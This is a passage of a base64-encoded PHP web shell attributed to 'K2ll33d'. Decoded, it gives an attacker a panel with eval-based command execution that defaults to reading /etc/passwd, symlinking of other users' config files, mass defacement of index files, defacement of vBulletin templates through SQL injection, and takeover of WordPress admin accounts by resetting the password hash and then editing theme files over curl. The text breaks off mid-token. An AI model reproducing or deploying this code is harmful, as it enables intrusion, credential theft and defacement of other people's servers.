OjFweCBzb2xpZCAjMjIyMjIyO2ZvbnQtc2l6ZToxMnB4O3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtoZWlnaHQ6MjA7Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM1ZDVkNWQ7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMTIxMjEyO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Ym9yZGVyLXRvcDoxcHggc29saWQgIzVkNWQ1ZDtjb2xvcjojOWY5ZjlmO30gIC5pbnB1dHp7ICBiYWNrZ3JvdW5kOiMxMTExMTE7IGJvcmRlcjowOyBwYWRkaW5nOjJweDsgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzM5MzkzOTsgZm9udC1zaXplOjExcHg7IGNvbG9yOiNmZmZmZmY7IC1tb3otYm9yZGVyLXJhZGl1czogNnB4OyBib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXI6MXB4IHNvbGlkICM0QzgzQUY7bWFyZ2luOjRweCAwIDhweCAwO30gLmlucHV0emJ1dHtiYWNrZ3JvdW5kOiMxMTExMTE7Y29sb3I6IzhmOGY4ZjttYXJnaW46MCA0cHg7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0NDQ0O30gIC5pbnB1dHpidXQ6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzRDODNBRjtib3JkZXItdG9wOjFweCBzb2xpZCAjNEM4M0FGO30uaW5wdXR6OmhvdmVyeyAtbW96LWJvcmRlci1yYWRpdXM6IDZweDsgYm9yZGVyLXJhZGl1czogMTBweDsgYm9yZGVyOjFweCBzb2xpZCAjNEM4M0FGO21hcmdpbjo0cHggMCA4cHggMDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNEM4M0FGO2JvcmRlci10b3A6MXB4IHNvbGlkICM0QzgzQUY7fS5vdXRwdXQyIHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICM4ODg4ODg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSB0ZXh0YXJlYXttYXJnaW46YXV0bztib3JkZXI6MnB4IHNvbGlkICM1NTU1NTU7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAub3V0cHV0IHttYXJnaW46YXV0bztib3JkZXI6MXB4IHNvbGlkICMzMDMwMzA7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7YmFja2dyb3VuZDojMDAwMDAwO3BhZGRpbmc6MCAycHg7fSAuY21kYm94e3dpZHRoOjEwMCU7fS5oZWFkX2luZm97cGFkZGluZzogMCA0cHg7fSAuYjF7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM1NTU1NTU7fSAuYjJ7Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM4MDAwMDA7fSAuYl90Ymx7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjAgNHB4IDAgMDtwYWRkaW5nOjAgNHB4IDAgMDtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMzMzMzMzM7fSAucGhwaW5mbyB0YWJsZXt3aWR0aDoxMDAlO3BhZGRpbmc6MCAwIDAgMDt9IC5waHBpbmZvIHRke2JhY2tncm91bmQ6IzExMTExMTtjb2xvcjojY2NjY2NjO3BhZGRpbmc6NnB4IDhweDs7fSAucGhwaW5mbyB0aCwgdGh7YmFja2dyb3VuZDojMTkxOTE5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7Zm9udC13ZWlnaHQ6bm9ybWFsO30gLnBocGluZm8gaDIsIC5waHBpbmZvIGgyIGF7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7cGFkZGluZzowO21hcmdpbjozMHB4IDAgMCAwO2JhY2tncm91bmQ6IzIyMjIyMjtwYWRkaW5nOjRweCAwO30gLmV4cGxvcmV7d2lkdGg6MTAwJTt9IC5leHBsb3JlIGEge3RleHQtZGVjb3JhdGlvbjpub25lO30gLmV4cGxvcmUgdGR7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjAgOHB4O2xpbmUtaGVpZ2h0OjI0cHg7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoe3BhZGRpbmc6M3B4IDhweDtmb250LXdlaWdodDpub3JtYWw7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgcmVkO30gLmV4cGxvcmUgdHI6aG92ZXJ7YmFja2dyb3VuZDojMzMzMzMzO30gLnZpZXdmaWxle2JhY2tncm91bmQ6I0VERUNFQjtjb2xvcjojMDAwMDAwO21hcmdpbjo0cHggMnB4O3BhZGRpbmc6OHB4O30gLnNlbWJ1bnlpe2Rpc3BsYXk6bm9uZTtwYWRkaW5nOjA7bWFyZ2luOjA7fSAjbWVudXtmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiAjMTExMTExO21hcmdpbjo1cHggMnB4IDRweCAycHg7fSAjbWVudSBhe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjtmb250LWZhbWlseTpvcmJpdHJvbjtwYWRkaW5nOjRweCA2cHg7bWFyZ2luOjA7YmFja2dyb3VuZDojNjY2NjY2O3RleHQtZGVjb3JhdGlvbjpub25lO2xldHRlci1zcGFjaW5nOjFweDtjb2xvcjojZmZmZmZmO30gI21lbnUgYTpob3Zlcntmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiMxOTE5MTk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzQ0NDQ0NDtib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0NDQ0O2NvbG9yOiNjZWNlY2U7fWssIGsgYSwgayBhOmhvdmVye3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJlZDtmb250LWZhbWlseTpvcmJpdHJvbjtmb250LXNpemU6MjVweDtjb2xvcjojZmZmZmZmO308L3N0eWxlPjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLmZvY3VzKCk7Ij48ZGl2IGNsYXNzPSJtYWluIj48ZGl2IGNsYXNzPSJoZWFkX2luZm8iPiA8dGFibGU+PHRyPjx0ZCB3aWR0aD0iMTUlIj48dGFibGUgY2xhc3M9ImJfdGJsIj4NCjw/cGhwIGVjaG8gKGJhc2U2NF9kZWNvZGUoJ1BHZ3hQanhoUG1zZ01pQnNJR3dnTXlBeklHUW1ibUp6Y0RzbWJtSnpjRHRUSUdnZ1pTQnNJR3c4TDJFK1BDOW9NVDRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEcz0nKSk7Pz48ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9YWJvdXQiPkFib3V0IE1lPC9hPjwvZGl2Pg0KPC90ZD48L3RyPjwvdGFibGU+PC90ZD48dGQgY2xhc3M9InRvcCIgd2lkdGg9JzYwJSc+PD9waHAgZWNobyAkYnVmZjs/PjwvdGQ+Jm5ic3A7Jm5ic3A7PHRkIHN0eWxlPSJ3aWR0aDozMCU7Ij48YT5zZXJ2ZXIgaXAgOjw/cGhwIGVjaG8gJHNlcnZlcl9pcC4iPGZvbnQgY29sb3I9J3JlZCc+PGJyPjxicj48L2ZvbnQ+IHlvdXIgaXAgOiAiLiRteV9pcC4iPGJyPjwvYT4iOz8+PGJyPjxkaXYgaWQ9Im1lbnUiPjxhIGhyZWY9Ij8iPkhvbWU8L2E+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4iPkZpbGVzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1zaGVsbCI+U2hlbGw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXVwbG9hZCI+dXBsb2FkPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1waHAiPkV2YWw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXN5bSI+U3ltPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1uZXRzcGxvaXQiPlRvb2xzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1teXNxbCI+U3FsPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1tYXNzIj5NYXNzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1icnV0ZSI+QnJ1dGU8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXBocGluZm8iPnBocGluZm88L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXpvbmUtaCI+Wm9uZS1IPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1qb29tbGEiPkpvb21sYTwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9d29yZHByZXNzIj5Xb3JkcHJlc3M8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXZiIj5WYjwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9ZG9tYWlucyI+RG9tYWluczwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9c3RyaW5nIj5TdHJpbmc8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXdtIj5XcCBNYXNzPC9hPjwvZGl2Pg0KPD9waHAgaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKXs/Pjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9ImNtZGJveCI+PHRyPjx0ZD48dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIiBjb2xzPTkwPiANCjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0Y21kJ10pKSB7ZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7fWVsc2UgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOz8+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjE5JTsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2Fib3V0Jykpe2VjaG8gJzxjZW50ZXI+PGltZyBjbGFzcz0iSG92ZXJCb3JkZXIiIGFsdD0iIiBzcmM9ImRhdGE6aW1hZ2UvanBlZzsnLiR0dW5pc2lhLiciIC8+PC9jZW50ZXI+PGJyPjxjZW50ZXI+PGs+V2ViIFNoZWxsIEJ5IEsybGwzM2Q8YnI+PGJyPjxicj5NYWlsOiZuYnNwOzxhIGhyZWY9bWFpbHRvOmsybGwzM2RAbGl2ZS5mcj5rMmxsMzNkIFthdF0gbGl2ZS5mcjwvYT48YnI+PGJyPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj5GYWNlYm9vazwvYT4mbmJzcDs8YSBocmVmPSJodHRwOi8vem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPVJlWksyTEwiIHRhcmdldD0iX2JsYW5rIj5ab25lLUg8L2E+PC9rPjwvY2VudGVyPic7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzeW0nKSl7QHNldF90aW1lX2xpbWl0KDApO0Bta2Rpcignc3ltJywwNzc3KTtlcnJvcl9yZXBvcnRpbmcoMCk7JGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBnYXphLmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOyRvcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTtmd3JpdGUoJG9wICwkaHRhY2Nlc3MpO2VjaG8gJzxjZW50ZXI+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiPiBGaWxlIFBhdGg6PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxicj5TeW1saW5rIE5hbWU8YnI+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJzLnR4dCIgc2l6ZT0iNjAiLz48YnI+PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPjxicj48YnI+PC9mb3JtPjwvY2VudGVyPic7JHRhcmdldCA9ICRfUE9TVFsnZmlsZSddOyRzeW1maWxlID0gJF9QT1NUWydzeW1maWxlJ107JHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTtpZiAoJHN5bWxpbmspIHtAc3ltbGluaygiJHRhcmdldCIsInN5bS8kc3ltZmlsZSIpO2VjaG8gJzxicj48Y2VudGVyPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJzeW0vJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPjxjZW50ZXI+Jzt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpe2Vycm9yX3JlcG9ydGluZygwKTs/Pjx0YWJsZT48dGQgd2lkdGg9IjUwJSI+PGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocCAkX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9cG9zdD48cCBhbGlnbj0iY2VudGVyIj48aDI+Rm9sZGVyPC9oMj48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cD10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpOz8+Ij48YnI+PGgyPmZpbGUgbmFtZTwvaDI+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXA9dGV4dCBuYW1lPWZpbGUgc2l6ZT02MCB2YWx1ZT0iaW5kZXgucGhwIj48YnI+PC90ZD48dGQgd2lkdGg9IjUwJSI+PGgzPkluZGV4IGNvZGUgPC9oMz48dGV4dGFyZWEgY2xhc3MgPSdpbnB1dHonIG5hbWU9aW5kZXggcm93cz0xMCBjb2xzPTQwPmhhY2tlZCBCeSBSZVpLMkxMIFRlYW08L3RleHRhcmVhPjxicj48L3RkPjwvcD48L3RhYmxlPjxjZW50ZXI+PGJyPjxicj48YnI+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9c3VibWl0IHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48YnI+PD9waHAgJG1haW5wYXRoPSRfUE9TVFtwYXRoXTskZmlsZT0kX1BPU1RbZmlsZV07JGRpcj1vcGVuZGlyKCIkbWFpbnBhdGgiKTskY29kZT1iYXNlNjRfZW5jb2RlKCRfUE9TVFtpbmRleF0pOyRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpO3doaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7JGZpbmlzaD1AZndyaXRlKCRzdGFydCwkaW5keCk7aWYgKCRmaW5pc2gpe2VjaG8gIiRyb3cvJGZpbGUgPiBEb25lPGJyPjxicj4iO319fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd2YicpKSB7aWYoZW1wdHkoJF9QT1NUWydpbmRleCddKSl7ZWNobyAiPGNlbnRlcj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+aG9zdCA6IDxJTlBVVCBzaXplPScxNScgY2xhc3M9J2lucHV0eicgdmFsdWU9J2xvY2FsaG9zdCcgbmFtZT0nbG9jYWxob3N0JyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7ZGF0YWJhc2UgOiA8SU5QVVQgY2xhc3M9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl9uYW1lJyBuYW1lPSdkYXRhYmFzZScgdHlwZT0ndGV4dCc+Jm5ic3A7fCZuYnNwO3VzZXJuYW1lIDogPElOUFVUIGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGJfdXNlcicgbmFtZT0ndXNlcm5hbWUnIHR5cGU9J3RleHQnPiZuYnNwO3wmbmJzcDtwYXNzd29yZCA6IDxJTlBVVCBjbGFzcz0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2JkX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7cGVyZml4IDogPGlucHV0IGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nJyBuYW1lPSdwZXJmaXgnIHR5cGU9J3RleHQnPjxicj48dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgbmFtZT0naW5kZXgnIGNvbHM9JzQwJyByb3dzPScxMCc+SGFja2VkIEJ5IFJlWksyTEwgVGVhbTwvdGV4dGFyZWE+PGJyPjxJTlBVVCBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nRGVmYWNlJyBuYW1lPSdzZW5kJyB0eXBlPSdzdWJtaXQnPjwvRk9STT48L2NlbnRlcj4iO31lbHNleyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSA9ICRfUE9TVFsnZGF0YWJhc2UnXTskdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddOyRwZXJmaXggPSAkX1BPU1RbJ3BlcmZpeCddOyRpbmRleCA9ICRfUE9TVFsnaW5kZXgnXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOyRzZXRfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOyRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyAnJGluZGV4JzsiKTskc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7JG9rPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHBlcmZpeC4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIFdIRVJFIHRpdGxlID0nRk9SVU1IT01FJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTtpZigkb2spe2VjaG8gIkRlZmFjZWQ8YnI+PGJyPiI7fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dtJykpe2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtzZXRfdGltZV9saW1pdCgwKTtAc2Vzc2lvbl9zdGFydCgpOyRiYXNlX3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKS4nLyc7ZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSl7JGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOyRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7cmV0dXJuIHRyaW0oJGFyMVswXSk7fWZ1bmN0aW9uIHJhbmRvbXQoKSB7JGNoYXJzID0gImFiY2RlZmdoaWprbW5vcHFyc3R1dnd4eXowMjM0NTY3ODkiO3NyYW5kKChkb3VibGUpbWljcm90aW1lKCkqMTAwMDAwMCk7JGkgPSAwOyRwYXNzID0gJyc7d2hpbGUgKCRpIDw9IDcpIHskbnVtID0gcmFuZCgpICUgMzM7JHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyRwYXNzID0gJHBhc3MgLiAkdG1wOyRpKys7fXJldHVybiAkcGFzczt9ZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl93cCgkY29uZiwgJGNvbnRlbnQpIHskb3V0cHV0ID0gJyc7JGRvbCA9ICckJzskdXNlcm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOyRwYXNzd29yZCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOyRkYm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOyRwcmVmaXggPSBlbnRyZTJ2MigkY29uZiwkZG9sLiJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTskaG9zdCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7JGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTtpZigkbGluaykge215c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7JGRvbCA9ICckJzskcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnazInLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpO30gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9aWYoJHJlcTEpIHskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTskZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOyR0ZW1wbGF0ZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdjdXJyZW50X3RoZW1lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JGN1cnJlbnRfdGhlbWUgPSAkZGF0YVsib3B0aW9uX3ZhbHVlIl07JHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7TVNJRSA3LjBiO1dpbmRvd3MgTlQgNS4xOy5ORVQgQ0xSIDEuMS40MzIyO0FsZXhhIFRvb2xiYXI7Lk5FVCBDTFIgMi4wLjUwNzI3KSI7JHVybDI9JHNpdGVfdXJsLiIvd3AtbG9naW4ucGhwIjskY2ggPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9azImcHdkPTEyMzEyMyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTskcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTtpZigkcG9zID09PSBmYWxzZSkgeyRvdXRwdXQuPSAiWy1dIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9IGVsc2UgeyRvdXRwdXQuPSAiWytdIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9JHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPS90aGVtZXMvIi4kdGVtcGxhdGUuJy9pbmRleC5waHAmdGhlbWU9Jy51cmxlbmNvZGUoJGN1cnJlbnRfdGhlbWUpLicmZGlyPXRoZW1lJztjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOyRfd3Bub25jZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2UiIG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOyRfZmlsZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpO2lmKHN1YnN0cl9jb3VudCgkX2ZpbGUsIi9pbmRleC5waHAiKSAhPSAwKXskb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgT3BlbmVkPGJyPiI7fWVsc2UgeyRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBVbmFibGUgdG8gb3Blbjxicj4iO30kdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VST